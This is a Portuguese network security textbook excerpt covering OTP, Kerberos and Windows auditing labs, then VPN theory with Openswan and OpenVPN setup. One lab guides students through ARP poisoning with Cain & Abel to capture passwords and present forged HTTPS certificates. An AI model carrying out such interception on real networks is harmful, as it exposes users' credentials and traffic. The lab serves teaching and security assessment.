

Os sistemas operacionais Windows Server 2003 e 2008 fornecem recursos que permitem
que um grande número de aplicativos use a funcionalidade de auditoria. Podem ser regis-
Segurança de Redes e Sistemas

trados eventos das atividades realizadas pelo e no sistema. Um exemplo é a configuração


das diretivas de segurança local do Windows, ferramenta que permite configurar o registro
de eventos, como o acesso a objetos locais, conforme as figuras seguintes.

142
Falta a navegação para acesso à funcionalidade. Acesse “Local Security Policy” em Local
Policies>Audit Policy>Audit object acess. Configure como Failure.

Figura 6.9
Acesso às
funcionalidades
de Audit Policy.

Capítulo 6 - Autenticação, Autorização e Certificação Digital

Figura 6.10
Configurando as
propriedades de
Audit object access.

Uma vez configurada a diretiva, os registros serão gravados localmente no próprio sistema,
podendo ser visualizados com o Event Viewer, outra ferramenta Windows.

143
Figura 6.11
Visualizador
de eventos
(Audit Failure).
Segurança de Redes e Sistemas

144
Roteiro de Atividades 6
Atividade 1 – Utilização do sistema OTP S/Key
Nesta atividade, vamos configurar o uso de um sistema de autenticação OTP utilizando o
d Opie. Será fornecido acesso SSH ao host LinServer.

Para saber mais


sobre outras opções Passo 1 Como processo inicial, vamos instalar o OpenSSH-Server no host LinServer
de configuração, e no FWGW1, para fazermos acesso a ele via SSH. Para instalar o servidor
consulte o manual OpenSSH, vamos utilizar os seguintes comandos apt-get:
on-line do projeto
# apt-get update
(Connecting to the
Berkeley Mathematics # apt-get install openssh-server
Department with opie).
Passo 2 Uma vez instalado o SSHD, vamos instalar o Opie cliente e servidor no FWGW1,
que utilizaremos como ferramenta para alteração do método de autenticação
do pam.d. Para instalar, utilizaremos novamente o apt-get:
# apt-get install opie-client opie-server

Passo 3 Agora que o Opie está instalado na máquina, edite o arquivo /etc/pam.d/sshd e
comente a linha @include common-auth; após essa linha, vamos adicionar mais
três linhas ao arquivo de configuração:
auth sufficient pam_unix.so
auth sufficient pam_opie.so
auth required pam_deny.so
Essas linhas instruirão o Pluggable Authentication Module (PAM) do Linux a tentar
utilizar o módulo pam_opie.so, que consulta o Opie para autenticar no sistema.

Passo 4 Agora, edite o arquivo de configuração do SSH para permitir resposta a desafios,
depois reinicie o servidor SSH, com o seguinte comando com o usuário root:
# vi /etc/ssh/sshd_config
...
ChallengeResponseAuthentication yes
...
Reinicie o serviço:
# /etc/init.d/ssh restart

Passo 5 Antes de autenticar um usuário, vamos incluir um usuário para usar a autenti-
cação S/Key do Opie. Para isso execute:
# su aluno
# aluno@FWGW1:~$ opiepasswd -f –c
Capítulo 6 - Roteiro de Atividades

Passo 5 Agora, utilizando o putty ou um cliente ssh qualquer tente se autenticar no


FWGW1 utilizando o usuário aluno e a senha cadastrada no OPIE. Observe
que agora, para autenticar, será necessário responder ao desafio apresentado
pelo ssh. Para calcular o desafio poderemos utilizar o opie-client instalado na
máquina Linux ou utilizar uma calculadora Javascript disponível em:
http://www.ocf.berkeley.edu/~jjlin/jsotp/

Passo 6 Aqui é importante relembrar o processo de inicialização do S/Key descrito


durante a sessão teórica. Você consegue entender os dados inseridos na calcula-
dora Javascript apresentada, e como eles serão usados para calcular as senhas?

145
Atividade 2 – Configurando o serviço de autenticação Kerberos no Windows 2008
Para realizar a instalação do serviço de autenticação Kerberos do Windows 2008 será neces-
sário realizar a instalação da Rule Active Directory. Para isso execute o comando dcpromo.exe.

1. Na página “Active Directory Domain Services Installation Wizard,” marque a opção


“Use advanced mode installation” e clique em “Next”.

2. Na página “Operating System Compatibility” clique em “Next”.

3. Na página “Choose a Deployment Configuration”, selecione “Create a new domain in


a new forest” e clique em “Next”.

4. Na página “Name the Forest Root Domain”, digite o nome DNS completo do domínio raiz
da floresta. No nosso digite domainA.esr.local ou domainB.esr.local (dependendo do seu
grupo) e clique em “Next”.

5. Na próxima página será necessário informar um nome NetBios para o domínio. Insira
DOMAINA ou DOMAINB (dependendo do seu grupo) e clique em “Next”.

6. Na página “Set Forest Functional Level”, selecione o nível funcional de floresta que
acomoda os controladores de domínio a serem instalados em qualquer lugar da Flo-
resta; em seguida, clique em “Next”. Como teremos somente controladores de domínio
Windows 2008 Server, utilizaremos o nível funcional Windows 2008 Server. Após sele-
cionar, clique em “Next”.

7. Na página “Additional Domain Controller Options“, a opção “Servidor DNS” está sele-
cionada por padrão, portanto, a infraestrutura DNS da sua floresta deverá ser criada
durante a instalação do AD DS. Clique em “Next”.

8. Se o assistente não puder criar uma delegação para o servidor DNS, uma mensagem será
exibida para indicar que você pode criar a delegação manualmente. Para continuar, clique
em “Yes”.

9. Na página “Location for Database, Log Files, and SYSVOL”, mantenha os valores originais
propostos pelo instalador e, em seguida, clique em “Next”.

10. Na página Senha do “Directory Services Restore Mode Administrator Password“, digite
“rnpesr” e confirme a senha do modo de restauração; em seguida, clique em “Next”.

11. Na página “Summary”, clique em “Next”.

12. Após a instalação das funções AD, DS e DNS, será necessário reiniciar o servidor.

13. Agora inicie a máquina Virtual Windows XP e a adicione no domínio que você acabou de
criar. Não se esqueça de alterar o endereço do servidor de DNS para o IP do servidor
Windows 2008, ou seja, 172.16.G.20.

14. Crie um usuário no AD chamado RNP e execute o Wireshark. Tendo a certeza de que
Segurança de Redes e Sistemas

o Wireshark está em execução no servidor Windows 2008 e que ele está capturando
pacotes, acesse a máquina virtual Windows XP e realize a autenticação utilizando o
usuário RNP. Tente visualizar todas as mensagens citadas na parte teórica deste livro.

146
Atividade 3 – Uso do Cain & Abel para avaliar a segurança do sistema de autenticação
Nesta atividade usaremos o Cain & Abel para realizar um ataque de ARP-Poison, capturar
senhas e avaliar a segurança do sistema de autenticação.

1. Acesse o Servidor Windows 2008 e crie um novo usuário chamado RNP2, com a senha 123456.

2. A partir do servidor Windows 2008, acesse o site www.google.com.br. Entre no prompt de


comando e execute o comando arp –a. Anote o endereço MAC do IP 172.16.G.1.

3. Agora, autentique como Administrador na máquina virtual Windows XP, desative o firewall
e inicie o programa Cain & Abel (o executável do programa Cain & Abel encontra-se em:
c:\arquivos de programas\Cain\Cain.exe).

4. Iniciemos a execução do sniffer (clique no ícone que parece uma placa de rede, selecione
a interface padrão, clique novamente nesse ícone e, também, no ícone amarelo).

5. Para iniciarmos um scan da rede em busca de MACs que queiramos sniffar, precisamos ir
à aba “Sniffer” e, na parte inferior dessa janela, clicar no botão “Hosts”.

6. Como podemos ver abaixo, nessa janela são exibidos os PCs em nossa rede:

7. Vamos ver agora a técnica Man in the Middle: clique no botão “APR” na parte inferior
Capítulo 6 - Roteiro de Atividades

esquerda da janela:

147
8. Clique no botão com o símbolo na barra de ferramentas superiores (assim iniciaremos
o sniffer).

Aqui o botão “+” pode não aparecer. Para resolver o problema, no treeview esquerdo
clique na raiz APR e depois em uma linha qualquer no quadro status.

9. Selecionando um endereço IP do lado esquerdo, automaticamente os campos do lado


direito são preenchidos, possibilitando, dessa maneira, interceptar quaisquer dados que
trafeguem a partir do IP selecionado para qualquer destino detectado. No lado esquerdo,
selecione o IP 172.16.G.20 e, no lado direito, selecione o IP 172.16.G.1.

10. Com o sniffer em funcionamento, acesse o prompt de comando do servidor Windows


2008 e execute o comando arp –a. Observe que o endereço MAC do host 172.16.G.1 foi
trocado para o endereço MAC de sua estação Windows XP.

11. Agora, a partir da máquina Windows 2008, acesse algum site https, como Gmail, Banco
do Brasil etc. Observe o comportamento estranho do navegador, que informa um certifi-
cado inválido. O que aconteceu é que o Cain & Abel gerou um certificado falso e apre-
Segurança de Redes e Sistemas

sentou como se fosse o certificado do site https que você está tentando acessar.

148
12. Verifique as demais configurações desta ferramenta.

Capítulo 6 - Roteiro de Atividades

149
Segurança de Redes e Sistemas

150
7
Redes Privadas Virtuais
objetivos

Detalhar o uso de VPN IPSec e VPN SSL, abordando aspectos práticos relacionados.

conceitos
VPN, PPT, PL2TP, IPSec e SSL, entre outros.

Introdução
A criptografia é um assunto extenso e muito importante para a segurança da informação,
considerada fundamental por muitos autores. Neste capítulo, veremos aspectos teóricos do
uso de VPN IPSec e VPN SSL e abordaremos aspectos práticos dessas aplicações.

Exercício de nivelamento 1 e
Redes Privadas Virtuais
O que você entende por VPN?

A sua organização utiliza VPN?

VPN
VPN (Virtual Private Network) possibilita o uso de uma rede pública para interligar escri- q
tórios comerciais, com redução de custos. Serve para viabilizar negócios que têm como
Capítulo 7 - Redes Privadas Virtuais

premissa requisitos de comunicação eficiente e transportar dados de modo seguro.


Pode ser usada para transferir informações sigilosas usando um canal compartilhado
para interligar duas redes privadas protegidas.

Premissas de uma VPN:

11 Confidencialidade dos dados.

11 Integridade dos dados.

11 Não repúdio do emissor.

11 Autenticação da mensagem.

11 Analogia ao modelo OSI.

151
Virtual Private Network é um termo bastante utilizado atualmente. A possibilidade de uso de
uma rede pública como a internet para interligar escritórios comerciais e grandes empresas
tem permitido a redução de custos e vai viabilizar negócios que têm como premissa requisitos
de comunicação eficiente. Dessa forma, gestores de empresas vêm buscando mecanismos
para manter as equipes sempre em comunicação, visando diminuir os investimentos em infra-
estrutura de TI ou até mesmo buscando melhor uso do parque tecnológico já instalado.

Uma solução efetiva de VPN visa transportar os dados de modo seguro e sigiloso, usando
um canal compartilhado para interligar duas redes privadas protegidas. Para que isso
ocorra, precisamos alcançar alguns objetivos importantes:

11 Confidencialidade dos dados: garantia de que a mensagem não poderá ser interpretada
por origens não autorizadas.

11 Integridade dos dados: garantia de que o conteúdo da mensagem não foi alterado
durante a transmissão entre o emissor e o receptor.

11 Não repúdio do emissor: o emissor não poderá repudiar o envio da mensagem, ou seja,
dizer que ele não enviou a mensagem questionada, com embasamento legal.

11 Autenticação da mensagem: garantia de que a mensagem foi enviada por uma fonte
autêntica e será entregue a um destino autêntico.

Neste capítulo, vamos utilizar o modelo OSI de 7 camadas para classificar as tecnologias de VPN.
Na ilustração, as camadas do modelo OSI e as respectivas aplicações de tecnologias de VPN.

Modelo OSI Tecnologia VPN

Camada 7: Aplicação HTTPS, S/MIME, PGP

Camada 6: Apresentação N/A

Camada 5: Sessão N/A

Camada 4: Transporte SSL e TLS, SOCKS, SSH

Camada 3: Rede IPSec, MPLS VPNs

PPTP, L2TP, L2F,


Camada 2: Enlace
ATM cell encryptors

RF encryptors,
Camada 1: Física
optical bulk encryptors Figura 7.1
OSI vs. VPN.

Objetivos de uma VPN


q
Segurança de Redes e Sistemas

11 Confidencialidade dos dados.

11 Integridade dos dados.

11 Não repúdio do emissor.

11 Autenticação da mensagem.

A seguir veremos algumas implementações específicas de aplicações VPN.

152
VPN PPTP
Autenticação: q
11 PAP.

11 CHAP.

11 MS-CHAP.

Analisando o modelo OSI, a VPN PPTP encontra-se na camada de enlace por ser uma
derivação do protocolo Point to Point Protocol (PPP), que consiste em um protocolo de
comunicação ponto a ponto, muito utilizado no passado em linhas telefônicas. O PPTP foi
desenvolvido pela Microsoft com o objetivo de incrementar recursos ao PPP. Ele utiliza a
autenticação do PPP com um recurso de túnel que pode ser criptografado utilizando
Figura 7.2
Estrutura do Proto- criptografia de 40 ou 128 bits. A Figura 7.2 apresenta uma estrutura básica de um pacote
colo do Túnel PPTP. PPTP, contido dentro de um pacote IP.

Cabeçalho Data Link


Cabeçalho IP Cabeçalho PPTP Cabeçalho PPP Payload PPP
Data Link Trailer

O PPTP é um protocolo orientado à conexão, o que exige uma estrutura cliente/servidor.


Sendo assim, ele trafega por padrão na porta TCP 1723. Para estabelecer o túnel PPTP em
redes com firewall, é necessário liberar essa porta TCP e utilizar NAT. Será necessário NAT
de um-para-um ou algum protocolo especial para permitir o uso de PPTP (muitas vezes
chamado de VPN passthru).

Foram desenvolvidas várias formas de autenticação do PPP, sendo as mais usuais:

11 Protocolo de Autenticação de Palavras (PAP): protocolo de autenticação simples em


que o cliente do túnel PPP enviará o usuário e a senha para o servidor em texto claro.

11 Challenge Handshake Authentication Protocol (CHAP): protocolo de autenticação em


que o cliente e o servidor responderão a um desafio, através de senha criptografada com
o algoritmo HASH MD5, que, trocada entre o cliente e o servidor, evita que a senha seja
transmitida em texto claro.

11 MS-CHAP: protocolo proprietário da Microsoft criado para autenticar estações de tra-


balho remotas baseadas no Windows. Tal como o CHAP, o MS-CHAP utiliza um meca-
nismo de contestação-resposta para autenticar ligações sem enviar a palavra-chave em
texto claro. O MS-CHAP utiliza o algoritmo Hash MD4 (Message Digest 4) e o algoritmo
de encriptação Data Encryption Standard (DES) para gerar a autenticação challenge/res-
ponse. O MS-CHAP também fornece mecanismos para comunicar erros de ligação e para
alterar a palavra-passe do utilizador.

Podemos verificar, assim, que o CHAP e o MS-CHAP são preferíveis ao PAP, pois não tra-
Capítulo 7 - Redes Privadas Virtuais

fegam a senha em texto claro.

L2TP
Especificado na RFC 2661 e desenvolvido por empresas como Cisco e Microsoft, utiliza a q
estrutura cliente servidor e é orientado a pacotes. Usa UDP como protocolo de transporte.

O L2TP é um protocolo aberto, especificado na RFC 2661. Foi desenvolvido por um grupo de
empresas incluindo Cisco e Microsoft. Assim como o PPTP, o L2TP utiliza a estrutura cliente
servidor, mas é orientado a pacotes. Dessa forma, alguns problemas de desempenho do
PPTP foram contornados, por utilizar UDP como protocolo de transporte.

153
Cabeçalho Data Link
Cabeçalho IP Cabeçalho UDP Cabeçalho L2TP Cabeçalho PPP Payload PPP
Data Link Trailer

Para implementar o túnel L2TP em redes com firewall por padrão, é necessário liberar a Figura 7.3
porta UDP 1701. Como é um protocolo orientado a pacotes, o NAT pode ser implementado Estrutura do
protocolo do L2TP.
no modelo um-para-muitos ou um-para-um. Por ser mais leve e prover melhor desem-
penho, recomenda-se usar o L2TP no lugar do PPTP, sempre que possível. Deve-se ainda
evitar o PPTP, especialmente as versões com chaves de 40 bits, pois diversas vulnerabili-
dades já foram descobertas nesse protocolo.

IPSec
A segurança de IP (IPSec) é uma capacidade que pode ser acrescentada a qualquer q
versão atual do protocolo Internet: IPv4 e IPv6, por meio de cabeçalhos adicionais. IPSec
é um conjunto de protocolos, também conhecido como suíte de segurança IP.Os proto-
colos inclusos na suíte de segurança IP estão focados em:

11 Entrega da mensagem autêntica.

11 Integridade dos dados.

11 Confidencialidade dos dados.

11 Não repúdio do emissor.

A segurança de IP (IPSec) é uma capacidade que pode ser acrescentada a qualquer versão
atual do protocolo Internet: IPv4 e IPv6, por meio de cabeçalhos adicionais. O IPSec atua
na camada de rede do modelo OSI, por criptografar o conteúdo (payload) do pacote IP.
Como o IPSec não é um protocolo único, mas sim um conjunto de protocolos, cada qual com
um objetivo específico, podemos chamar o IPSec de suíte de segurança IP. Os protocolos
inclusos na suíte de segurança IP estão focados na entrega da mensagem autêntica, com
integridade dos dados, confidencialidade dos dados e não repúdio do emissor.

A especificação do IPSec consiste em várias RFCs, sendo as mais importantes delas emi- q
tidas em 1998. São elas:

11 RFC 2401: descrição da visão geral de uma arquitetura de segurança.

11 RFC 2402: descrição de uma extensão de autenticação de pacotes para IPv4 e IPv6.

11 RFC 2406: descrição de uma extensão de criptografia de pacote para IPv4 e IPv6.

11 RFC 2408: especificação das capacidades de gerenciamento de chaves.


Segurança de Redes e Sistemas

154
Além das quatro RFCs, diversos rascunhos foram publicados pelos grupos de trabalho do IP
Security Procotol. Os documentos estão descritos na RFC 2401, divididos em sete grupos,
conforme a figura:

Arquitetura

Protocolo ESP Protocolo AH

Algoritmo de Algoritmo de
criptografia autenticação

Domínio de
interpretação

Figura 7.4 Gerenciamento


Visão do protocolo de chaves
IPSec.

11 Arquitetura: abrange os conceitos gerais, os requisitos de segurança, definições e meca-


nismos, definindo a tecnologia IPSec.

11 Protocolo ESP (Encapsulating Security Payload): abrange o formato de pacote e questões


gerais relacionadas ao uso de ESP para criptografia de pacote e, opcionalmente, autenticação.

11 Protocolo AH (Authentication Header): abrange o formato de pacote e questões gerais


relacionadas ao uso do AH para autenticação de pacotes.

11 Algoritmo de criptografia: um conjunto de documentos que descrevem como diversos


algoritmos de criptografia são usados para ESP.

11 Algoritmo de autenticação: um conjunto de documentos que descrevem como vários


algoritmos de autenticação são usados para AH e para a opção de autenticação do ESP.

11 Gerenciamento de chaves: documentos que descrevem esquemas de gerenciamento


de chaves. Exemplo: ISAKMP.

11 Domínio de interpretação: são valores para os outros documentos se relacionarem


entre si. Incluem identificadores para algoritmos aprovados de criptografia e autenti-
Capítulo 7 - Redes Privadas Virtuais

cação, além de parâmetros operacionais, como tempo de vida da chave.

Exercício de fixação 1 e
VPN
Explique os objetivos da VPN.

155
Quais as formas mais usuais de autenticação do VPN PPP?

Exercício de fixação 2 e
IPSec
Explique como o IPSec funciona.

Modos de operação do IPSec


11 Cifragem de blocos: divide os dados em conjuntos de tamanho fixo (chamados de blocos) q
22 Electronic Codebook (ECB).

22 Cipher-Block Chaining (CBC).

22 Propagating Cipher-Block Chaining (PCBC).

22 Cipher Feedback (CFB).

22 Output Feedback (OFB).

22 Counter (CTR).

11 Cifragem stream – realiza a cifragem de bits. Não há a necessidade de aguardar


a formação de um bloco.

22 RC4.

22 A5/1 (usado em redes GSM de telefonia celular).

11 Modo de Transporte: oferece proteção principalmente para os protocolos das camadas


superiores, mas não permite suporte a alguns serviços de rede, como multicast.

11 Modo de Túnel: oferece proteção a todo pacote IP.

O IPSec oferece dois modos de operação, sendo eles:

11 Modo de Transporte: esse modo oferece proteção principalmente para os protocolos


das camadas superiores. Esse modo de operação do IPSec criptografa todo o payload do
pacote IP. Compatível com protocolos IP: UDP, TCP e ICMP.

Cabeçalho IP Cabeçalho ESP Cabeçalho TCP Dados Trailer ESP Autenticação ESP

Criptografado
Segurança de Redes e Sistemas

Autenticado

Não protegido Não protegido

11 Modo de Túnel: esse modo de operação oferece proteção a todo pacote IP. Todo o Figura 7.5
pacote original viaja por um “túnel” de um ponto de uma rede IP para outro, e nenhum Pacote encapsu-
lado ESP no modo
roteador ao longo do caminho é capaz de examinar o cabeçalho IP interno. transporte.

156
Cabeçalho Cabeçalho Trailer
Novo cabeçalho IP Cabeçalho ESP Dados Autenticação ESP
IP TCP ESP

Criptografado

Autenticado

Não protegido Não protegido

Figura 7.6 Protocolos IPSec


Pacote encapsulado
ESP no modo túnel. O IPSec oferece serviços de segurança na camada de IP, permitindo que um sistema selecione
protocolos de segurança exigidos, e determine os algoritmos necessários para os serviços,
colocando no lugar quaisquer chaves criptográficas exigidas para oferecer os serviços solici-
tados. Dois protocolos podem ser usados para oferecer segurança: autenticação do cabeçalho
(AH) e um protocolo combinado de criptografia e autenticação, designado pelo formato de
pacote para esse protocolo, denominado Encapsulamento de Segurança do Payload (ESP). Os
serviços e suporte de cada protocolo IPSec seguem listados na tabela a seguir:

AH ESP ESP + AH

Controle de acesso Sim Sim Sim

Integridade sem conexão Sim Sim

Autenticação da origem Sim Sim

Figura 7.7 Rejeição de pacotes repetidos Sim Sim Sim


Serviços de cada
protocolo IPSec. Confidencialidade Sim Sim

O IPSec pode ser utilizado tanto para comunicação segura entre computadores (geralmente
no modo transporte), quanto para o estabelecimento de VPN (geralmente no modo túnel).
Alguns sistemas operacionais, como o Windows 2000, já possuem suporte nativo a IPSec, de
modo que é possível que todo o tráfego entre servidores seja criptografado. Normalmente
para utilizar IPSec, os roteadores presentes na rede devem suportar e entender o protocolo,
para poderem encaminhar corretamente os dados.

Encapsulating Security Payload (ESP)

Estabelece mecanismos de garantia da privacidade e integridade do conteúdo, utilizando


técnicas de criptografia e código Hash, respectivamente. Na criptografia, normalmente são uti-
lizados algoritmos DES, 3DES ou AES. Para o código Hash são utilizadas funções MD5 ou SHA-1.
Capítulo 7 - Redes Privadas Virtuais

Authetication Header (AH)

Estabelece mecanismos de verificação da autenticidade e integridade de pacotes IP. Nor-


malmente, na verificação da autenticidade de pacotes, é calculado o Hash de HMAC (Hash
Message Authentication Code) usando funções de Hash MD5 ou SHA-1.

Cabeçalho ESP
11 Security Parameters Index (SPI). q
11 Número sequencial.

11 Dados.

157
11 Padding. q
11 Tamanho do Pad.

11 Próximo cabeçalho.

Dados para autenticação.

0-7 bit 8-15 bit 16-23 bit 24-31 bit

Security Parameters Index (SPI)

Sequence number

Payload data (variable)

Padding (0-255 bytes) Next header

Payload length Next header

Authentication data (variable)


Figura 7.8
Cabeçalho ESP.

O campo SPI possui um valor que identifica a associação de segurança (SA) de um tráfego
IPSec. O campo “Sequence number” possui um contador, que é incrementado a cada pacote
enviado, com o objetivo de proteger contra ataques replay, onde o atacante captura um
tráfego e o repete mais à frente. O payload contém o pacote original que está sendo prote-
gido pelo ESP. O “Padding” é utilizado para completar os dados de modo a caber no tamanho
de bloco do algoritmo de criptografia. “Pad Length” contém o tamanho do campo anterior e
“Next Header” indica o tipo do próximo cabeçalho.

Cabeçalho AH
11 Próximo cabeçalho. q
11 Tamanho do payload.

11 Security Parameters Index (SPI).

11 Número sequencial.

11 Dados para autenticação.

0-7 bit 8-15 bit 16-23 bit 24-31 bit


Segurança de Redes e Sistemas

Next header Payload length Reserved

Security Parameters Index (SPI)

Sequence number

Authentication data (variable) Figura 7.9


Cabeçalho AH.

158
No cabeçalho AH, alguns campos são invertidos em relação ao ESP, e não temos a cifragem
do pacote original. Os campos “Next header”, “SPI” e “Sequence number” possuem a mesma
finalidade dos correspondentes no cabeçalho ESP. O campo “Payload length” indica o
tamanho do cabeçalho AH.

Exercício de fixação 3 e
IPSec
Explique o que são ESP e AH no protocolo IPSec.

VPN SSL
Com o uso de VPNs baseadas em SSL, é possível ter acesso a aplicações ou redes q
remotas, tendo como acesso qualquer tipo de conectividade à internet. Pode ser imple-
mentada via:

11 Cliente VPN SSL

11 Navegador web

11 Instalação simplificada do agente

Quando precisamos de segurança apenas em uma aplicação específica, como navegação


na internet, envio de correio eletrônico e mensagens instantâneas, utilizamos a criptografia
na comunicação entre essas aplicações. As escolhas mais populares de criptografia para
TLS e SSL esse cenário são TLS e SSL. Embora os dois protocolos tenham a mesma finalidade, existem
Transport Layer Security diferenças sutis entre eles.
e Security Sockets Layer
são protocolos com Ambos os protocolos suportam uma variedade de algoritmos de criptografia ou cifras para
diferenças bem sutis.
realizar algumas funções, como a autenticação do servidor e do cliente, transmissão de cer-
A especificação do
SSL 3.0 é conhecida tificados e estabelecimento das chaves de sessão. Para a criptografia em massa dos dados,
como SSL3, e do TLS 1.0 algoritmos simétricos são utilizados. Algoritmos assimétricos são utilizados para autenti-
como TLS1 ou SSL 3.1.
cação e troca de chaves. O Hash é utilizado como parte do processo de autenticação.

Com o uso de VPNs baseadas em SSL, é possível ter acesso a aplicações ou redes remotas,
tendo como acesso qualquer tipo de conectividade à internet, sendo necessário apenas
um navegador da internet ou um software cliente instalado na máquina do usuário. Essa
flexibilidade permite às VPNs baseadas em SSL prover acesso de qualquer lugar a recursos
computacionais de uma empresa. Dessa forma, colaboradores de uma empresa podem
utilizar VPNs baseadas em SSL para ter acesso remoto a aplicações de uma empresa.

Existem algumas etapas no estabelecimento da sessão VPN SSL que podem ser descritas em
Capítulo 7 - Redes Privadas Virtuais

fases, conforme ilustra a figura a seguir:

1 2

Túnel VPN SSL


Figura 7.10
Estabelecimento
5
de uma sessão
3 4
VPN SSL.

159
1. Nesta fase, o equipamento do usuário estabelece uma conexão TCP na porta 443 do servidor.

2. O servidor SSL apresenta um certificado digital que contém a chave pública


digitalmente assinada por uma Autoridade Certificadora confiável.

3. O computador do usuário gera uma chave simétrica compartilhada entre as duas partes,
cliente e servidor.

4. A chave pública do servidor é utilizada para criptografar a chave compartilhada e trans-


mitir para o cliente. O software do servidor utiliza a chave privada para descriptografar
a chave compartilhada enviada pelo cliente. Assim que o servidor realizar esse processo,
ambos terão acesso à chave compartilhada.

5. A chave compartilhada então é utilizada para criptografar o dados transmitidos na sessão SSL.

O OpenVPN é um exemplo de software livre, que utiliza SSL para criar túneis VPN. Uma van-
tagem das VPN SSL em relação ao IPSec é que a liberação do acesso através de um firewall é
bem mais simples, pois envolve apenas uma porta (443 TCP), que normalmente já é liberada
pra acessos www seguros (HTTPS).

Exercício de fixação 4 e
VPN SSL
Explique a diferença entre TLS e SSL.

Implementação IPSec no Linux


11 Instalação. q
11 Configuração.

11 Testes.

Existem várias implantações de VPN IPSec no mercado, variando de fabricantes de sistemas


operacionais, fabricantes de dispositivos dedicados (appliances) e comunidades de software
livre. Vamos detalhar o Openswan, um projeto de software livre de muito sucesso na comu-
nidade de software livre. Ele é uma derivação de um antigo projeto chamado Free S/Wan,
que foi descontinuado.

Instalação do Openswan
w
Instalação e configuração da solução de VPN usando o Openswan no Debian.
Openswan é uma
Instalação do Openswan: implentação de IPSec
para Linux, licenciado
debian:~# apt-get install openswan pela GPLversão 2. Site
Segurança de Redes e Sistemas

do projeto: www.
Reading package lists... Done openswan.org.

Building dependency tree... Done

The following extra packages will be installed:

ca-certificates iproute ipsec-tools libatm1 libcurl3 libgmp3c2


openssl

Suggested packages:

160
openswan-modules-source linux-patch-openswan curl

Recommended packages:

iproute-doc

The following NEW packages will be installed:

ca-certificates iproute ipsec-tools libatm1 libcurl3 libgmp3c2


openssl

openswan

0 upgraded, 8 newly installed, 0 to remove and 32 not upgraded.

Need to get 3782kB of archives.

After unpacking 10.5MB of additional disk space will be used.

Do you want to continue [Y/n]?

Tela de configuração inicial logo após a instalação:

Figura 7.11
Tela de instalação
do OpenSwan.

Nessa tela deve-se selecionar “No” (Não), pois será usada uma Pre-shared Key (Chave
pré-compartilhada). Após essa tela, não há mais configuração.

Verificando a versão:

debian:~# ipsec verify

Checking your system to see if IPsec got installed and started


Capítulo 7 - Redes Privadas Virtuais

correctly:

Version check and ipsec on-path [OK]

Linux Openswan U2.4.6/K2.6.18-5-k7 (netkey)

Checking for IPsec support in kernel [OK]

NETKEY detected, testing for disabled ICMP send_redirects [FAILED]

161
Please disable /proc/sys/net/ipv4/conf/*/send_redirects

or NETKEY will cause the sending of bogus ICMP redirects!

NETKEY detected, testing for disabled ICMP accept_redirects [FAILED]

Please disable /proc/sys/net/ipv4/conf/*/accept_redirects

or NETKEY will accept bogus ICMP redirects!

Checking for RSA private key (/etc/ipsec.secrets) [DISABLED]

ipsec showhostkey: no default key in “/etc/ipsec.secrets”

Checking that pluto is running [OK]

Two or more interfaces found, checking IP forwarding [FAILED]

Checking for ‘ip’ command [OK]

Checking for ‘iptables’ command [OK]

Opportunistic Encryption Support [DISABLED]

Configuração do Openswan
O servidor de VPN deve estar configurado de acordo com a estrutura de sua unidade.
Para a configuração da VPN siga os passos seguintes.

1. Habilitar o roteamento no Linux:

echo 1 > /proc/sys/net/ipv4/ip_forward

2. Configurar o arquivo de configuração do Openswan:

vim /etc/ipsec.conf

debian:~# cat /etc/ipsec.conf

# /etc/ipsec.conf - Openswan IPsec configuration file

# RCSID $Id: ipsec.conf.in,v 1.15.2.4 2006/07/11 16:17:53 paul Exp $

# This file: /usr/share/doc/openswan/ipsec.conf-sample


Segurança de Redes e Sistemas

# Manual: ipsec.conf.5

version 2.0 # conforms to second version of ipsec.conf


specification

162
# basic configuration

config setup

interfaces=%defaultroute

# plutodebug / klipsdebug = “all”, “none” or a combation


from below:

# “raw crypt parsing emitting control klips pfkey natt x509


private”

# eg:

# plutodebug=”control parsing”

# Only enable klipsdebug=all if you are a developer

# NAT-TRAVERSAL support, see README.NAT-Traversal

nat_traversal=yes

virtual_private=%v4:10.0.0.0/8,%v4:192.168.0.0/16,%v4:172.16.0.0/12

# enable this if you see “failed to find any available worker”

nhelpers=0

# Add connections here

conn %default

keyingtries=0

disablearrivalcheck=no

conn vpnpeer1

left=200.200.40.16
Capítulo 7 - Redes Privadas Virtuais

leftsubnet=192.168.1.0/255.255.255.0

right=200.200.140.10

rightsubnet=10.61.0.0/255.255.0.0

ike=aes256-sha-modp1024

esp=aes256-sha1

pfs=no

ikelifetime=8h

163
keylife=8h

dpddelay=30

dpdtimeout=120

dpdaction=hold

authby=secret

auto=start

# nameserver 202.21.11.100

# sample VPN connections, see /etc/ipsec.d/examples/

#Disable Opportunistic Encryption

include /etc/ipsec.d/examples/no_oe.conf

---------------------------------------------------------------------

debian:~# cat /etc/ipsec.secrets

# RCSID $Id: ipsec.secrets.proto,v 1.3.6.1 2005/09/28 13:59:14 paul Exp $

# This file holds shared secrets or RSA private keys for inter-Pluto

# authentication. See ipsec_pluto(8) manpage, and HTML documentation.

# RSA private key for this host, authenticating it to any other host

# which knows the public part. Suitable public keys, for ipsec.
conf, DNS,

# or configuration of other implementations, can be extracted


conveniently
Segurança de Redes e Sistemas

# with “ipsec showhostkey”.

200.200.40.16 200.200.140.10 : PSK “vpnipsec”

Implementação de VPN SSL no Linux


O uso de VPN SSL está em expansão no cenário atual de Tecnologias da Informação e
Comunicação (TIC), uma vez que a sua implementação costuma ser mais simples do que as
implementações de VPN IPSec. O projeto OpenVPN possui utilização destacada pela comuni-
dade de software livre. É importante lembrar que o IPv6 virá com IPSec nativo, de modo que
164
é preciso conhecer bem as duas tecnologias.

Instalação do OpenVPN
O OpenVPN atualmente já faz parte do repositório padrão do Debian. Dessa forma, a insta-
lação pode ser feita com o utilitário apt-get, como ilustra o exemplo a seguir:

debian:~# apt-get update

debian:~# apt-get install openvpn

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following extra packages will be installed:

liblzo2-2 libpkcs11-helper1 openssl openssl-blacklist openvpn-blacklist

Suggested packages:

ca-certificates resolvconf

The following NEW packages will be installed:

liblzo2-2 libpkcs11-helper1 openssl openssl-blacklist openvpn


openvpn-blacklist

0 upgraded, 6 newly installed, 0 to remove and 14 not upgraded.

Need to get 8948kB of archives.

After this operation, 18.5MB of additional disk space will be used.

Do you want to continue [Y/n]? y

Get:1 http://linorg.usp.br lenny/main openssl 0.9.8g-15+lenny7 [1034kB]

Get:2 http://linorg.usp.br lenny/main openssl-blacklist 0.4.2 [6338kB]

Get:3 http://linorg.usp.br lenny/main liblzo2-2 2.03-1 [61.5kB]

Get:4 http://linorg.usp.br lenny/main libpkcs11-helper1 1.05-1 [42.4kB]

